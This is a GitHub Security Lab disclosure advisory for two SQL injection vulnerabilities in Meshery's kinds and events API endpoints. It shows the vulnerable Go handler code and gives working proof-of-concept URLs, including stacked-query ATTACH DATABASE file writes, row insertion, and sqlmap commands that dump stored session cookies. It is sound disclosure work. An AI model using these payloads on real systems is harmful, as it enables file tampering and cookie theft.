Coordinated Disclosure Timeline

Summary

A SQL injection vulnerability in Meshery up to v0.7.22 allows a remote attacker to obtain sensitive information, alter database registries, or create arbitrary files via the order and sort parameters of two HTTP endpoints.

Project

Meshery

Tested Version

0.7.18

Details

Issue 1: SQL injection in /api/system/meshync/resources/kinds (GHSL-2024-013)

The Meshery project exposes the function GetMeshSyncResourcesKinds at the API URL /api/system/meshsync/resources/kinds. The order query parameter is directly used to build a SQL query in meshync_handler.go, as it can be seen in the following snippet:

func (h *Handler) GetMeshSyncResourcesKinds(rw http.ResponseWriter, r *http.Request, _ *models.Preference, _ *models.User, provider models.Provider) {
	// --snip--

	page, offset, limit,
		search, order, sort, _ := getPaginationParams(r)

        // --snip--

	result := provider.GetGenericPersister().Model(&model.KubernetesResource{}).Distinct("kind").
		Where("kubernetes_resources.cluster_id IN (?)", filter.ClusterIds)

        // --snip--

	if order != "" {
		if sort == "desc" {
			// --snip--
		} else {
			result = result.Order(order)
		}
	}
        // --snip--
}

Impact

This issue may lead to arbitrary file write by using a SQL injection stacked queries payload, and the ATTACH DATABASE command.

Additionally, attackers may be able to access and modify any data stored in the database, like performance profiles (which may contain session cookies), Meshery application data, or any Kubernetes configuration added to the system.

Arbitrary data read and write may be a problem depending on several factors:

Proof of Concept

To reproduce this issue, the following three requests can be used to write a file at an arbitrary location with arbitrary contents (note that an appropriate cookie needs to be used in the request, for local authentication use Cookie: meshery-provider=None):

http://(server):9081/api/system/meshsync/resources/kinds?order=1%3bATTACH+DATABASE+'/tmp/test'+AS+test--
http://(server):9081/api/system/meshsync/resources/kinds?order=1%3bCREATE+TABLE+test.pwn+(dataz+text)--
http://(server):9081/api/system/meshsync/resources/kinds?order=1%3bINSERT+INTO+test.pwn+(dataz)+VALUES+("pwned")--
cat /tmp/test
pwned

Also, arbitrary database entries can be created as follows:

http://(server):9081/api/system/meshsync/resources/kinds?order=1%3bINSERT+INTO+performance_profiles+(metadata)+VALUES+("injected+data")--

To extract information from the database, blind SQL injection techniques must be used. For instance, we could use sqlmap to automate the process of dumping the request cookies used in a performance profile:

$ sqlmap -u 'http://(victim server):9081/api/system/meshsync/resources/kinds?order=1*' --technique S --dbms SQLite --header "Cookie: meshery-provider=None" --drop-set-cookie --ignore-code=500 --batch -T performance_profiles -C request_cookies --dump

..snip..

Table: performance_profiles
[1 entry]
+---------------------------+
| request_cookies           |
+---------------------------+
| {"Session": "test_value"} |
+---------------------------+

Issue 2: SQL injection in /api/v2/events (GHSL-2024-014)

The Meshery project exposes the function GetAllEvents at the API URL /api/v2/events. The sort query parameter read in events_streamer.go is directly used to build a SQL query in events_persister.go, as it can be seen in the following snippets:

func (h *Handler) GetAllEvents(w http.ResponseWriter, req *http.Request, prefObj *models.Preference, user *models.User, provider models.Provider) {
        // --snip--

	page, offset, limit,
		search, order, sortOnCol, status := getPaginationParams(req)

        // --snip--

        filter, err := getEventFilter(req)

        // --snip--

	filter.SortOn = sortOnCol

        // --snip--

	eventsResult, err := provider.GetAllEvents(filter, userID)

        // --snip--
}
func (e *EventsPersister) GetAllEvents(eventsFilter *events.EventsFilter, userID uuid.UUID) (*EventsResponse, error) {
        // --snip--

	finder := e.DB.Model(&events.Event{}).Where("user_id = ?", userID)

        // --snip--

        if eventsFilter.Order == "asc" {
		finder = finder.Order(eventsFilter.SortOn)
	}

        // --snip--
}

Impact

This issue may lead to arbitrary file write by using a SQL injection stacked queries payload, and the ATTACH DATABASE command.

Additionally, attackers may be able to access and modify any data stored in the database, like performance profiles (which may contain session cookies), Meshery application data, or any Kubernetes configuration added to the system.

Arbitrary data read and write may be a problem depending on several factors:

Proof of Concept

http://(server):9081/api/v2/events?order=asc&sort=1%3bATTACH+DATABASE+'/tmp/test'+AS+test--
http://(server):9081/api/v2/events?order=asc&sort=1%3bCREATE+TABLE+test.pwn+(dataz+text)--
http://(server):9081/api/v2/events?order=asc&sort=1%3bINSERT+INTO+test.pwn+(dataz)+VALUES+("pwned")--
cat /tmp/test
pwned

Also, arbitrary database entries can be created as follows:

http://(server):9081/api/v2/events?order=asc&sort=1%3bINSERT+INTO+performance_profiles+(metadata)+VALUES+("injected+data")--

To extract information from the database, blind SQL injection techniques must be used. For instance, we could use sqlmap to automate the process of dumping the request cookies used in a performance profile:

$ sqlmap -u 'http://(victim server):9081/api/v2/events?order=asc&sort=1*' --technique S --dbms SQLite --header "Cookie: meshery-provider=None" --drop-set-cookie --ignore-code=500 --batch -T performance_profiles -C request_cookies --dump

..snip..

Table: performance_profiles
[1 entry]
+---------------------------+
| request_cookies           |
+---------------------------+
| {"Session": "test_value"} |
+---------------------------+

CVE

Credit

These issues were discovered and reported by GitHub team member @atorralba (Tony Torralba). The vulnerabilities were found with the help of CodeQL’s SQL injection query.

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2024-013 or GHSL-2024-014 in any communication regarding these issues.